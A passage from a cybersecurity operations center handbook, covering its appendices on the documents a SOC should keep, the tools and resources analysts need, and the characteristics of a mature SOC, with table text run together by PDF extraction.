analyst. Some SOCs break this into two pieces: (1) a generic depiction of how the constituency is instrumented, and (2) a detailed diagram showing exact sensor locations; the former can be shared, the later should not.Helps SOC members understand how their network is instrumented. Being clear on exactly where a sensor is tapped is critical because there are always subtle blind spots due to DMZ and routing complexities. It also helps SOC sensor and sysadmins trouble-shoot downed feeds when they occur. Network Diagrams (See Section 8.1.2.)Depict the detailed network architec-ture of the constituency, usually show-ing user networks and server farms as clouds connected by firewalls and rout - ers. Typically broken down into a series of large Visio diagrams that can be printed on a large-format printer. Regardless of whether a SOC maintains these diagrams, it should consider overlaying its sensor placement for internal tracking purposes.Help members of the SOC understand the size and shape of the constituency, how data gets from point A to point B, where external connections are, and the connection between subnets and mis-sion/business functions. Internal CM ProcessDefines how changes are made to SOC systems and documents (e.g., hard-ware and software installs/upgrades, IDS and SIEM signature changes, and SOP updates). Ensures that rigor and consistency are enforced—with notification and visibility across the SOC for changes—while bal-ancing agility in ops. For instance, a SOC should be able to turn a piece of cyber intel into a signature push in a matter of hours, but not without documents that notify analysts of the change. 298 Table 29 D ocument Library What What It Says Why You Need It Systems and Sen- sors Mainte-nance and Build InstructionsA series of documents that discuss how to maintain all key SOC systems and how to rebuild them in the event of corruption or hardware failure While vendor manuals always help, a SOC will have many customizations, especially for homegrown solutions. For example, joining a system to a SAN requires work with at least three differ - ent products. It is easiest to distill this into a few pages of instructions rather than pointing sysadmins at 1,000 or more pages of product manuals. Confidentiality Agreement/ Code of ConductConcise statement of the rules that define the expected behavior and pro-hibited activities of SOC staff, above and beyond other agreements they signed as part of the constituency. It will usu-ally articulate the need for SOC staff to maintain strict confidentiality about case and privacy data and to avoid snooping outside the scope of legitimate moni-toring duties. This document should be reviewed by legal counsel before approval.It has been said that with great power comes great responsibility. Should a SOC team member do something seri-ously wrong, this document supports corrective and legal actions against that employee. It also demonstrates to external groups that the SOC takes its job very seriously and holds its people to a high standard. T raining Materials, T echnical Qualifi-cation T ests, and ProcessArticulates staff in-processing, neces-sary training, periodic recertification, and qualification tests. Leverages many of the documents in this table.Serves two key functions: (1) orients new staff on the SOC mission, structure, CONOPS, and SOPs and (2) ensures that each team member is proficient with SOC tools. Operational, Func-tional, and System RequirementsDetailed listing of all the needs the SOC has for its tools. Contains everything from sensor fleet management specs to capabilities of malware analysis tools. Can articulate needs at three levels: (1) opera-tional (what business needs to be done), (2) functional (what features are needed), and (3) system (what are the specifics of the implementation).Helps support intelligent acquisition for all SOC capabilities. Gives the engineers a concrete set of needs that must be satisfied. Helps the SOC ensure it’s get - ting what it needs, especially if the engi-neers are not part of the SOC.What Documents Should the SOC Maintain? T en Strategies of a World-Class Cybersecurity Operations Center299 Table 29 D ocument Library What What It Says Why You Need It BudgetAllocates money for SOC staffing, soft - ware/hardware licensing, refresh and maintenance, expansion, and capital improvements for the SOC, during the current fiscal year and at least three years into the future. Recognizes different cat - egories of money and considers both inflation and expec ted changes in SOC capabilities.A SOC must plan and budget for its capabilities just like any other organiza-tion in government, industry, or educa-tion. Having this at hand (along with a crisp list of successes) will help the SOC defend its budget against constant scrutiny and potential cuts. Unfunded RequirementsSuccinct one- or two-page description of each capability not currently built into the budget. Will include what the SOC wants, what benefit the capability will provide, how much it will cost, and what will hap- pen if the SOC doesn’t get it.Having these at hand will help the SOC claim money when it becomes available from other organizations. Many SOCs have to beg, borrow, or steal. Being the first one to respond with well-written unfunded requirements usually means beating out other organizations for a portion of the funds. IDS and SIEM Signature/ Content List(s)List of all the signatures and content deployed to each SOC sensor or analytic system (IDSes, SIEM, etc.). This should be contained within the tools themselves, which is usually easier and more effi-cient than a separate document. Custom signatures and analytics are especially important to document—what they look for and what analysts should do when their alerts pop up.Helps analysts know what they’re look - ing at and what to do with each fired event. This list should be scrubbed by sensor managers and other key SOC stakeholders on a regular basis, perhaps quarterly. System InventorySystem host name, IP, MAC address, hardware type, location, and serial/bar - code of all SOC assets, along with other hardware and peripheralsThe SOC must be able to keep track of what it owns so nothing gets lost; inventory must be refreshed on schedule. Short Mission Presentation15- to 30-minute slide presentation about the SOC—its mission, structure, how it executes the mission, and key successes Used to describe the SOC to non-tech-nical audiences in conferences or for quick demos for visiting VIPs. Helps gain trust among stakeholders and partners. Long Mission PresentationLonger (one to two hours) technical pre-sentation highlighting SOC successes and TTPs, monitoring architecture, and future initiativesUsed for technical audiences such as other SOCs. Key for making connec-tions, gaining street cred. 300 It is usually not enough to have these materials lying around in soft copy or hard copy. Most medium- to large-sized SOCs devote staff resources to knowledge management (e.g., keeping track of all these documents, including updates, in an orderly manner). The most popular means do to this is to post various information to a Windows file share in the SOC enclave, though many SOCs will augment this with Microsoft SharePoint or a wiki.What Documents Should the SOC Maintain? T en Strategies of a World-Class Cybersecurity Operations Center301 Appendix F What Should an Analyst Have Within Reach? Members of the SOC must draw on an ever-expanding universe of resources and informa- tion in their day-to-day job. Making sure these resources can be called upon at a moment’s notice keeps the SOC running efficiently, saving critical seconds and minutes when track - ing down an incident. All of these resources should be located either logically or physically close to the analysts —on their desks, on their workstations, or somewhere near them—in an organized and neat fashion. In Table 30, we list what resources are needed, how important (generally) they are, and why the operator needs them. Table 30 Analyst Resources What Importance Why General Internet access High Access to CND websites, news, public- f acing email, general troubleshooting, and external collaboration Unattributed/unfiltered Internet access1Medium Was that user really surfing porn? Where did this piece of malware come from? These questions need to be answered daily, without placing the constitu-ency at risk or tipping off the adversary. Access to constituency main busi-ness network with email, office automation softwareHigh An analyst requires regular communication with con-stituents and the ability to conduct general business. Employee directory(ies) for entire constituencyHigh An analyst requires regular communication with oth-ers in the constituency. Access to user-submitted incident reports; read and (possibly) write access to the SOC externally fac-ing website/portalHigh A central point of communication between the SOC and the constituency, this is often where con-stituency users go to submit potential incident information. Access to SOC network from a robust workstation that is not used to connect to the main constitu-ency network or the InternetHigh As discussed in Section 10, the SOC’s monitoring infrastructure should be placed in a well-protected enclave. Therefore, the analyst should access the bulk of SOC monitoring tools from high-performance workstations on the SOC network. 1 A n umber of details must be considered when deploying and supporting a truly unattributed Internet connection that are beyond the scope of this book. An unattributed Internet connec - tion assumes that it cannot be traced back to the constituency, and there are no content filtering technologies on it, unlike the constituency’s main Internet gateway that one expects has a robust content filtering solution in place. 302 Table 30 Analyst Resources What Importance Why Multilevel desktop consolidation system or KVM switch, if more than two or three different desktop sys-tems are neededLow Most SOCs can get the job done with two work - stations for each analyst: one for the SOC network and the other for Internet and constituency net - work access. Other SOCs will need more than this, in which case a KVM switch is necessary to reduce desktop clutter for some analysts. General user privileges to the SIEM and/or log aggregation consolesHigh A SIEM usually serves as the hub for alert triage and event analysis; an analyst should be able to spend more time with the SIEM console than any other tool or system. General user privileges to IDS con-soles or other out-of-band moni-toring systemsHigh Some IDS consoles may have details beyond what SIEM can (or should) capture; in this case, analysts will also need access to these. General user privileges to all in-band monitoring device consoles, (e.g., HIPS and NIPS)Low Same reason as out-of-band IDS consoles: they may offer more detail or options than what is collected by the SIEM. Complete and current signature list for all IDSes, with signature descriptions and signature syntax Medium The analysts should know the policy that is currently deployed to all monitoring equipment, including the description of each alert and the exact syntax of the signature, if available. Complete content list with descriptions for all production SIEM contentLow Same rationale as IDS signatures but less important due to the comparatively small number of SIEM con-tent/use cases and their comparative complexity For every IDS alert seen, the raw event details, the signature (or sig-nature description) that triggered it, the raw PCAP for that event, and supporting NetFlowHigh Without this data, IDS alerts are meaningless. The SIEM or IDS console should contain or link directly to all of these items. (See Section 8.2.) Access to historical alert and PCAP data for Tiers 1 and 2 within the time frames defined in Table 18, Section 9.2High Different parts of the SOC will need access to differ - ent slices of data the SOC collects for historical anal-ysis, both to look for new incidents and to establish the facts about existing incidents. These needs are outlined in the referenced table. This should include both the PCAP data itself and the tools necessary to view it.What Should an Analyst Have Within Reach? T en Strategies of a World-Class Cybersecurity Operations Center303 Table 30 Analyst Resources What Importance Why Vulnerability scan results and/or on-demand vulnerability scan-ning toolLow Did that IDS alert hit a system that was actually vul-nerable? What OS and services is this system run-ning? Analysts will ask these questions regularly, and vulnerability scanners have the answers. Having access to both historical regular scan results and an on-demand scanning capability is best, but either one will help. Network maps depicting major subnets and interface/peer - ing points for the constituency (e.g., firewalls and IDS monitoring locations)Medium Analysts must understand the network they are monitoring. It helps to have a few key network maps (such as Internet gateways) posted on the wall of the ops floor. If the SOC is not responsible for network mapping, it’s best to have read-only access to where these maps are stored on the constituency network. Read-only access to asset-track - ing databaseLow Complements vulnerability scanning data, especially when scan results are stale or unavailable. May also capture information about system owner, contact info, or supported mission. Current firewall rule sets for all pro- duction firewalls in constituencyLow Did that attack make it through the firewall? Should we be concerned that a given network is wide open? Current firewall rule sets answer these questions. Having read-only access to firewall rule sets helps, rather than having to ask for a download from the firewall managers. Current router and switch configu-rations for all production network equipment in constituencyLow In the same vein as firewall rules, analysts will often have to run down exactly where a system is located, and how it connects to other systems in (or outside) the constituency. In addition, router ACLs may be used to complement firewalls for simplistic security separation. Incident tracking/ticketing data-base limited to SOC onlyHigh Analysts must be able to record pertinent details about incidents, attach events or other digital arti-facts, and escalate that information daily to other members of the SOC. Analyst collaboration forum/SharePoint/wiki and unstructured file share limited to SOC onlyHigh Members of the SOC will need to capture lots of unstructured or semistructured information not directly related to a given incident. Having both orga-nized (wiki, SharePoint) and unorganized file share means of pooling these resources is important. In addition, a real-time chat room may be helpful. All of these resources should be on the SOC enclave. 304 Table 30 Analyst Resources What Importance Why Write access to current shift pass- down log (and/or master station log) and read access to past pass-down logsMedium Analysts should record their actions and events of note during their shift and summarize them at the end. That way, analysts on later shifts can review what happened and understand what issues require follow-up. Also helps support accountability. Access to collaboration forums shared with sister SOCsMedium Messaging boards and collaboration forums where multiple SOCs share cyber intel, tippers, incident reports, and general cyber news are immensely help-ful. These forums should be well protected and par - ticipated in by invitation only. Standard public/commercial telephoneHigh Same reasons anyone in business and IT needs a phone. Analysts will spend significant time on the phone every day; sometimes headsets are beneficial. Secure telephone (e.g., secure telephone unit [STU]/secure ter - minal equipment [STE]), where applicableVaries If appropriate, the SOC may need a secure commu-nications channel to people in the constituency or to other external organizations. In many cases, the sen-sitive nature of CND makes this even more important. Contact information for all parties that are part of the SOC’s incident escalation chainHigh Analyst will need to call TAs, sysadmins, ISSOs, and other parties that are both inputs and outputs to the SOC’s incident escalation flowchart. These calls are often time sensitive, so, having up-to-date contact information readily available is key. Personal (home and cell) contact information for all members of the SOCHigh Members of the SOC will get called after hours on a regular basis. Systems break, and analysts call in sick. Having this information printed on a laminated card that clips to a SOC member’s physical security ID badge is a good idea. Documents listed in Appendix E, except budget and requirementsMedium Analysts will need to refer to SOPs, CONOPS, and other materials from time to time. While some of these documents are already listed in this table, hav-ing all the operationally relevant ones at hand is a good idea. Secure document and media stor - age (where applicable)Varies The SOC will have to store sensitive data, forensic images, passwords to SOC systems, case data, and other materials in an appropriate manager. Chances are, at least one safe will be needed. What Should an Analyst Have Within Reach? T en Strategies of a World-Class Cybersecurity Operations Center305 Table 30 Analyst Resources What Importance Why Emergency “go-bag” Medium Includes everything the SOC will need during an evacuation or catastrophic event. This includes con-tact information for all SOC members, rally location, shift schedule, flashlight, satellite phone, COOP acti-vation playbook, and so forth. The floor lead should grab it on the way out the door during an emergency or fire drill. Real-time network availability sta-tus dashboardLow It helps to get a feed of planned and unplanned net - work and system outage events across the constitu-ency, provided by the NOC or IT ops. Real-time cable news feed Medium No 24x7 ops floor is complete without one or two flat screens permanently tuned to a 24-hour news chan-nel such as CNN or MSNBC. They help provide SA about events that may impact the constituency. Vendor technical documentation on SOC technologiesMedium The SOC should have references (either in hard copy or soft copy) for all SOC monitoring and analytics systems that analysts use. In addition to all those listed above, there are resources that other members of the SOC responsible for Tier 2, Tier 3 (if it exists), cyber intel analysis, and trending will need access to, depending on their exact role. They are as shown in Table 31. Table 31 Tier 2 Tools What Importance Why PCAP capture and manipulation and TCP/IP protocol analysis tools (WireShark, mergecap, etc.)High When evaluating an IDS event, an analyst can only establish the ground truth through full-session cap-ture of network traffic. Along with the raw PCAP, an analyst needs tools to slice, dice, and analyze it. Linux/UNIX system with Perl and open source tools (for text log processing) and plenty of scratch storageHigh While there are plenty of commercial tools to gen-erate, transmit, store, parse, and analyze log data, there’s nothing like having a Linux/UNIX shell prompt and a powerful scripting language such as Perl or text-parsing tools such as grep, sed, and awk. Decompilation and static malware analysis capability (IDA Pro)Medium When examining machine(s) suspected of a com-promise, there will likely be files that are suspect, but don’t trigger traditional AV tools. As a result, an ana-lyst will need to further examine them. 306 Table 31 Tier 2 Tools What Importance Why Malware detonation chamber and runtime analysisHigh An alternative approach to static analysis is runtime analysis—actually executing suspected malware and examining its behavior. This approach can also be automated to a limited extent (e.g., scripted malware “detonation chambers”). (See Section 8.2.7 .) Read-only hard drive imager High Even if a SOC doesn’t do in-depth forensics or mal- ware analysis, the most cursory inspection of media involved in an incident requires making a copy of the original. This hardware device (along with media image analysis tools) allows copying a hard drive without performing any write operations against it. Media image analysis (FTK, Encase)High Once a hard drive image or other piece of media is acquired, these tools will support inspection and analysis of its contents. Blue and Red T eam out-briefs and detailed results Low For the same reason network maps and vulnerability scan results are desired, these provide a more holistic view of key parts of the constituency but are usually point-in-time and, therefore, must be augmented with updated network maps and vulnerability scan data. All supporting authority documents listed in Section 5.1Low Knowing what the SOC has written authority to do or not do is important. SOC leads will refer to these on a semiregular basis. It’s best to have them consolidated in one place.What Should an Analyst Have Within Reach? T en Strategies of a World-Class Cybersecurity Operations Center307 Appendix G Characteristics of a World-Class SOC How do we know whether the SOC is doing well? Every organization is different, and there is no universal set of measures for SOC effectiveness. In this section, we describe the quali - ties of a SOC that has reached an ideal state of maturity, given the needs and constraints of its constituency. We draw on material presented throughout the book in articulating a target state for modern SOCs. While these qualities describe SOCs of any size or organizational model, we once again aim for common SOCs that: ‚Serve a constituency of some 5,000 to 5,000,000 users or IPs ‚Are members of their constituency ‚Have at least shared reactive authority ‚Has direct visibility into a large portion of the constituency ‚Follow an organizational model that includes both centralized and distributed elements. SOCs that fall outside this description (e.g., national-level and coordinating SOCs) will certainly be able to leverage elements of this section but may find that certain qualities won’t apply. For instance, a mature SOC serving a small constituency may not be able to support advanced engagements with the adversary. Or, a mature SOC serving a very large constituency may not directly monitor constituency systems. In describing a healthy, mature SOC, we start with the most basic elements of the SOC mission: prevent, monitor, detect, respond, and report—along with general programmatics, external connections, and training/career. SOC managers may certainly use these quali - ties as a basis to measure their SOC capabilities; however, we don’t always go into detail on how to measure them. This is done best on a case-by-case basis. One important caveat to recognize is that we are describing the ideal state of a world- class SOC. This state will never be reached in all regards, which is to say no one organiza - tion will ever receive an equivalent “100 percent” score. That said, we lay out these quali - ties as a target that a well-resourced SOC can shoot for. Before we go any further, it is critical to recognize that the best way to measure overall SOC effectiveness is by running realistic drills and exercises against the SOC. Some exer - cises can include “tabletop” scenarios with the SOC and its partners, or exercising a COOP capability, if it exists. These are relatively low risk and can be done on a regular basis, perhaps annually. These, while useful, don’t hit the nail on the head. 308 The best way to test a SOC is to measure the SOC’s performance in response to an actual Red Team penetration of constituency assets. There really is no substitute for simulating a no-warning, full-fledged intrusion. The Red Team should actually execute an attack covering the entire cyber attack life cycle against a segment of the enterprise that is important to the constituency mission. Of course, this must be tempered with executing the operation so that it does not imperil actual constituency business or mission operations. The Red Team scenario should reflect the resources and motives of a true constituency adversary, whether an internal rogue actor or an external group. For instance, a mock phishing attack against non-privileged users may exercise many elements of the SOC. This kind of exercise can be executed with greater frequency because it’s relatively easy to do, has very low risk, and is much cheaper than a true Red Team exercise. But it does not fully exercise the SOC. What may be more useful is actually run - ning a Red Team against a COOP or preproduction instance of a critical mission system. This should include not only reconnaissance and attack but persistence, privilege escala-tion, remote access, and, perhaps, data exfiltration. Incorporating inputs from SOC “TAs” in formulating such an exercise will enhance its realism and usefulness. Whatever method used to assess the SOC, we hope that the SOC demonstrates qualities as described in the following sections. G.1 Program This section describes the qualities of the SOC’s overall program that span multiple func - tional areas. ‚The SOC is granted unambiguous authority to execute the CND mission for its con - stituency; for SOCs that are members of their constituency, this means that: • The document(s) that state their fundamental, high-level authority, such as a char - ter, carries the weight of the chief constituency executive. • The SOC has one or more additional documents that codify its more detailed authorities (those listed in Section 5.1 ), and also cover the roles and responsibilities of the SOC and its partner organizations with respect to the incident life cycle. • Any of these authorities or documents have been vetted by SOC management and follow the constituency’s governance process. ‚The SOC has direct control over a dedicated budget supporting its annual operations for both staffing, new technology capital investments, and technology refresh.Characteristics of a World-Class SOC T en Strategies of a World-Class Cybersecurity Operations Center309 ‚The SOC incorporates the elements of CND described in Section 3 , all under the SOC organizational structure: • Real-time monitoring and triage (Tier 1) • Incident analysis, coordination, and response (Tier 2 and above) • Cyber intel collection and analysis • Sensor tuning and management, scripting and automation, and infrastructure O&M • SOC tool engineering and deployment. ‚The SOC has defined the set of capabilities it performs in support of its mission. (See Section 6 .) ‚The SOC has defined an internal organizational and management structure with clear division of roles and responsibilities. (See Section 4.1 .) ‚The SOC has balanced the need to maintain visibility out to the end asset and mission with the need to centrally consolidate knowledge and operations through a balance of centralized and distributed resourcing. (See Section 4.1 .) ‚The primary drivers or the SOC’s day-to-day tasking, resource investments, and bud - get are its own internally defined priorities and SA. ‚The SOC’s day-to-day tasking, resource investments, and budget are driven only sec - ondarily by external compliance. ‚The SOC leverages a lightweight internal metrics program that: • Measures key aspects of SOC operational health, as determined by SOC management • Is used by SOC management to drive improvement to SOC process and performance • Is not widely recognized by SOC staff as being “gamed” or manipulated for pur - poses of false or inaccurate reporting • Consumes no more than 5 percent of the SOC’s total labor through its implementation. ‚The SOC is able to execute its mission within the time frames listed in Section 2.8 . ‚The SOC’s mission is carried out primarily by personnel consolidated into a SOC ops floor (or, in COOP or tiered arrangements, multiple SOC ops floors). G.2 Instrumentation This section describes the qualities of the systems and procedures used to instrument the constituency for monitoring each stage of the cyber attack life cycle. ‚The SOC has a set of standard network and host instrumentation packages that can be adapted to common monitoring scenarios across the constituency. ‚The SOC leverages a blend of COTS, FOSS, and custom capabilities in its monitoring and analytic architecture, leveraging the right tool for the right job, as it sees fit. 310 ‚The SOC’s constituency is instrumented with monitoring packages and data feeds that: • Cover the entire cyber attack life cycle • Cover the network architecture from edge to core • Address threats and attack vectors of relevance to the constituency • Target systems and programs that are mission relevant • Balance completeness with economy • Are adaptable to the environment, architecture, and limitations of end systems • Incorporate both network and host sensoring and data feeds • Mix signature and heuristics-based detection • Provide overlapping, complementary observables and techniques, where needed • Use a mix of freestanding CND monitoring technologies (e.g., those from Section 8.2. and Section 8.3 ) with security-relevant data feeds (from Section 9.2 ). ‚The SOC pursues bulk or enterprise licensing to enable economies of scale with its most often-used monitoring packages; for coordinating or tiered SOCs, it provides enterprise licensing for its subordinate SOCs where there is demand for specific tools or technologies. ‚The SOC is able to articulate the value it derives from each of its sensors or data feeds, such as through their proportional support to finding an initial incident tip-off, run - ning incidents to ground, or both. ‚All monitoring capabilities receive regular attention of analysts and analytic tools; no investments are just “collecting dust.” ‚All new constituency IT programs, projects, and system owners are compelled through process or mandate to seek the SOC’s assistance in applying SOC monitoring capabilities. ‚New constituency IT programs, projects, and system owners proactively seek the SOC’s assistance in applying CND monitoring capabilities to their systems. ‚The SOC has sufficient budgetary and engineering resources to provide CND monitor - ing capabilities and data collection to programs and projects that request it. ‚Other than those owned and operated by the SOC, there are no or very few “rogue” and “one-off” IDS or other CND monitoring systems operated within the constituency. ‚The primary drivers for new CND technology investments are the SOC’s own: • Assessments of gaps in threat detection • Knowledge of COTS and FOSS tool and technology improvements • Knowledge of changes to constituency architecture, configuration, networks, enclaves, and hosts • Budgetary and resource limitations.Characteristics of a World-Class SOC T en Strategies of a World-Class Cybersecurity Operations Center311 ‚Monitoring capabilities send data (logs, PCAP) and exchange command and control data with the SOC’s analytic framework through assured, encrypted communication, to the extent that such mechanisms are technically feasible. ‚Passive monitoring capabilities are isolated from the networks they monitor, leverag - ing techniques discussed in Section 10 . ‚SOC tools, systems, and workstations have little to no trust relationship with general constituency IT systems. ‚The SOC has exclusive administrative rights to all of its: • Passive detection capabilities, such as its network sensors • Analytics engine(s) such as SIEM • Event data, case data, and PCAP data storage systems. G.3 A nalytics and Detection This section describes the qualities of the analytics and detection tools used by the SOC. ‚The SOC leverages a unified analytic framework for incident monitoring, triage, and detection, such as with a SIEM, purpose built for such use. ‚The SOC has consolidated all of its security-relevant data feeds into one integrated analytic architecture, such as a SIEM. ‚No one data feed or sensor technology holds a majority of analysts’ focus; at best, a particular data feed or sensor technology may engender a plurality of attention. ‚The SOC applies automated correlation and triage to its real-time data feeds, such as with a SIEM. ‚The SOC applies data mining and other techniques to examine historical data for evi - dence of malicious or anomalous activity. ‚Content in the analytic framework (e.g., triaging, filters, and correlation) incorporates knowledge about constituency environment, threats, and vulnerabilities. ‚All of the SOC’s signature-based detection capabilities such IDSes and indicator lists are tuned or updated with new signatures at least once a week. ‚The SOC authors custom rules and SIEM content to enhance its monitoring efforts beyond what is provided by vendors or the open source community. • Analytics include use cases that incorporate information about constituency mis - sion and are meant to detect compromise of constituency mission elements. • Updates to signatures, content, and heuristics are tracked through a CM process. • Indicators of compromise collected from open sources and from other SOCs are regularly integrated into custom signatures and analytics. • Custom signatures and other analytical tools are fed back to partner SOCs. 312 ‚The SOC tests more complex analytics on a test/dev/preproduction/beta system before applying them to production systems. ‚Analysis and monitoring systems are properly tuned so that the majority of analysts’ time is focused on interacting and comprehending data, and the minority is spent wading through the system interface or waiting for query results to return. ‚The SOC’s main data repositories (SIEM, PCAP, malware, and case data) and analysis workstations are located within a protected enclave, as described in Section 10 . G.4 Monitoring This section describes the qualities of the monitoring tools and processes used by the SOC . ‚Analysis functions are split into at least two distinct tiers, including: • Tier 1. Responsible for monitoring real-time data feeds and escalating potential cases to Tier 2 • Tier 2. Responsible for in-depth analysis and response • A third analysis tier, if mission ops tempo demands it. ‚SOC real-time monitoring operations (such as Tier 1) cover the times of the day and days of the week during which constituency IT systems are being used (likely mean - ing the SOC provides 12x5, 12x7, or 24x7 coverage). ‚Tier 1 analysts are given a set of well-defined views into security-relevant data col - lected by the SOC: • Analysts are able to acknowledge or follow up on all of events that are displayed during their shift. • Analysts are neither overwhelmed with alerts nor lacking data to analyze during the course of their shift. • Views into data do not comprise unfiltered, raw event feeds. • There is no arbitrary “hunting and pecking” for alerts. • Use cases are driven by input from each section of the SOC, including Tier 1, and are managed by a designated content or signature manager. • Tier 1 use cases are clearly divided among multiple Tier 1 watch standers, and there is no “free for all” in deciding who analyzes what. ‚There is regular rotation between use cases among Tier 1 analysts, thereby reducing monotony and repetition, from day to day. ‚Tier 1 is given a discrete time threshold during which each scrolling event or other data visualization must be evaluated; if it takes longer than the threshold to run an event to ground, it is escalated to Tier 2. ‚Steps for handling the most clear-cut incidents, such as malware infections, are fol - lowed by SOC analysts using an up-to-date set of SOPs.Characteristics of a World-Class SOC T en Strategies of a World-Class Cybersecurity Operations Center313 ‚Analysts are provided workflow and integration between several SOC tools, allowing them to pivot between them; these tools cover: • Real-time alert monitoring, triage, correlation, and event drill-down • Historical event query and data mining • Network traffic analysis and reconstruction • Runtime malware execution and detonation • Incident ticketing and tracking • Indicator and adversary campaign tracking. G.5 T hreat Assessment This section describes how the SOC understands the adversary and effectively responds to incidents. ‚Analysts capture information about adversaries of interest, such as their TTPs, through a knowledge base (such as a database or semantic wiki) that: • All analysts have access to • Is used by SOC analysts on a daily basis • Sits in addition to, but not replacing, a case management system • Can be edited by all SOC analysts in an effort to record and learn about adversaries’ actions over time • Contains a comprehensive list of Indicators of Compromise that the SOC uses and updates. ‚The SOC maintains a repository of case evidence such as malware samples, traffic captures, system logs, screenshots, memory images, or disk images: • Used to perform trending on adversary TTPs over time • Tied to the aforementioned actor/asset knowledge base. ‚The SOC exercises the ability to observe the adversary’s behavior and determine the true nature and extent of incidents, without being driven to respond with certain countermeasures. ‚The SOC has the means to gauge the extent of damage, attackers’ motives, attack vec - tor, and probable attacker attribution. ‚The SOC has tools supporting rapid runtime analysis of malware behavior, such as a content detonation system. ‚The SOC has the expertise, tools, and resources to reverse engineer malware. ‚The SOC has the expertise, tools, and resources to perform in-depth digital forensic analysis of media relevant to major intrusions, such as hard drive forensic analysis. ‚The SOC is able to fully reconstruct adversary activity in the event of successful intrusions. 314 ‚The SOC is able to disseminate a damage assessment to appropriate stakeholders regarding likely impacts to constituency missions relating to intrusion activity, espe - cially data exfiltration or manipulation. The SOC has policy, procedure, tools, and expertise in place to collect, retain, and make copies of digital evidence. ‚The SOC has demonstrated the consistent ability to maintain the integrity, chain of custody, and legal admissibility of digital evidence, as applicable to the SOC’s legal jurisdiction. ‚The SOC has the means to rapidly scan most managed constituency assets for evi - dence indicating the current or historical presence of an adversary, such as a remote incident response tool set described in Section 8.3.9 . G.6 E scalation, Response, and Reporting This section describes how incidents are escalated within and outside the SOC, how they are responded to, and how they are reported. ‚The SOC has documentation, such as CONOPS or SOPs, that clearly articulates the types of incidents it handles, the manner in which it responds to incidents, and the responsibilities it and its partner organizations have in the incident response process. ‚The SOC follows its CONOPS and updates it at least every 36 months. ‚The SOC has internal escalation and response SOPs for the incidents it deals with most commonly (malware infections, data spills/leaks, and phishing attacks). ‚On average, the SOC is able to contact parties involved in a suspect incident within minutes of needing to do so. ‚When the SOC calls a constituent (such as a TA, sysadmin, or user), its position as the coordinating authority for cyber incidents is not disputed, and those parties work with the SOC to carry out incident prevention and response steps as they mutually deem appropriate, and in a timely manner. ‚When an incident with a particularly high severity develops, SOC personnel respond in an orderly, calm, and calculated manner. ‚When coordinating an incident with a widespread, severe impact, the SOC is able to gather the appropriate constituency executives and involved parties into a meeting within four business hours after initiating contact. ‚In response to a confirmed incident, the SOC’s detection and response activities are able to identify and expel all adversary footholds within an intrusion, including any later stage malware, account credentials, and lateral movement, with high assurance that response activities were fully successful and that no adversary footholds remain. ‚The speed of the SOC’s detection and response activities is sufficient to comprehen - sively expel all adversary footholds before adversaries are able to fulfill their intent, Characteristics of a World-Class SOC T en Strategies of a World-Class Cybersecurity Operations Center315 such as lateral movement, harvesting of account credentials, privilege escalation, internal network mapping, or exfiltration of sensitive data. ‚The SOC serves as the distribution point for routine countermeasure directives (e.g., firewall blocks, DNS black holes, or IDS signature deployments). ‚The SOC escalates major cases to cognizant organizations internal or external to the constituency (e.g., law enforcement or legal counsel) as needed. ‚Lessons learned from notable incidents are fed back to the entire SOC. ‚All sections of the SOC use a common system to track incidents from cradle to grave. (See Section 12.1 .) • It is specifically written or customized to support security incident case tracking (as opposed to general IT). • The SOC’s case data is not comingled or accessible by non-SOC parties, unless such access has specifically been granted to said parties. • If applicable, it supports or conforms to relevant external incident reporting require - ments that the SOC may be subject to. • Is used by SOC managers to ensure quality, timeliness, and correctness of incident analysis, escalation, response, and closure. G.7 S ituational Awareness This section covers the SOC’s own cyber SA and how it provides that awareness to external parties. ‚For non-coordinating/non-tiered SOCs, at least one person in the SOC is able to describe the following qualities of each Internet gateway, major data center, large campus, and major project/system: • The structure of its networks and external connections • The general types of computing assets deployed on them • General sense of attack surface and stand-out vulnerabilities • Likely threats against those systems • Supported mission or business functions. ‚For non-coordinating SOCs, the SOC gathers network-mapping data through active device enumeration and interrogation, collection and analysis of network device configurations, manually gathering network maps, or a combination thereof, covering each area of the constituency at least every 12 months. ‚The SOC indoctrinates new personnel in details of constituency networks, assets, and mission, thereby ensuring deep knowledge spreads from veterans to junior analysts. ‚For each major adversary that has successfully attacked the constituency in the last 24 months, or is considered to be of substantial concern, at least one person in the SOC 316 is able to articulate the following qualities of that adversary, including the confidence and gaps they have in such knowledge: • Capability, including skill level and resources • Intent and motivation • Probability of attack • Level of access (legitimate or otherwise) • Impact to constituency business/mission and IT • Likely identity or allegiance • Actions: in the past, present, and projected into the future. ‚The SOC routinely consumes cyber threat intelligence from a wide variety of sources, including but not limited to: • Open source • Vendor subscriptions • Independent security researchers • Community cyber threat-sharing forums • Bilateral and multilateral sharing agreements with peers. ‚The SOC actively reviews outside cyber intelligence reporting and cyber intelligence feeds to ensure they are of high fidelity prior to acceptance into the SOC’s cyber threat intelligence repositories and sensors. ‚The SOC has a process to routinely update high-fidelity watch lists, block lists, repu - tation filters, and other means of prevention and detection into its broader security infrastructure for automated use. ‚The SOC actively disseminates actionable cyber threat indicators and intelligence, derived from its own observations and analytical results, to community threat-sharing partners within its SOC peer group (such as education, industry, commerce, govern - ment, not for profit, etc.) on at least a bimonthly basis. ‚The SOC synthesizes SA information for the constituency, such as: • Routine weekly cyber news digests • Non-routine emergency alerts and warnings • Annual or biannual cyber threat assessments • Network mapping or vulnerability scan metrics • Incident reporting metrics. ‚The SOC posts SA information on its website, available to designated members of the constituency. ‚The SOC can articulate the limits of its SA in detail, in terms of monitoring coverage, cyber attack life cycle coverage, and threat parity.Characteristics of a World-Class SOC T en Strategies of a World-Class Cybersecurity Operations Center317 G.8 Prevention This section covers the SOC’s impact to the constituency cybersecurity program supporting incident prevention. ‚The SOC uses its SA to drive remediation of constituency vulnerabilities and poor security practices. ‚The SOC provides consulting on cyber threats, security architecture, and best prac - tices to constituency IT programs and lines of business. ‚The SOC participates in formulating (and possibly providing) security “general hygiene” training and education to constituents, such as safe browsing and email tips. ‚The SOC is regularly consulted on matters of cybersecurity policy by constituents. ‚The SOC is regarded by constituents as an organization that helps constituency mis - sion and business operations, rather than hindering them. ‚The SOC has deployed intrusion prevention capabilities such as NIPS, HIPS, and con - tent detonation devices to key points in the enterprise. ‚Prevention technologies beyond host-based AV are set to block critical attacks, and actually do so at least on a monthly basis. ‚The SOC hosts prevention capabilities (such as AV and HIDS/HIPS programs and sig - natures) on its website for easy download by constituents. ‚The SOC provides clear guidance and means to constituents who wish to submit potential incidents to the SOC, or to seek the SOC’s help in other cybersecurity matters. G.9 T 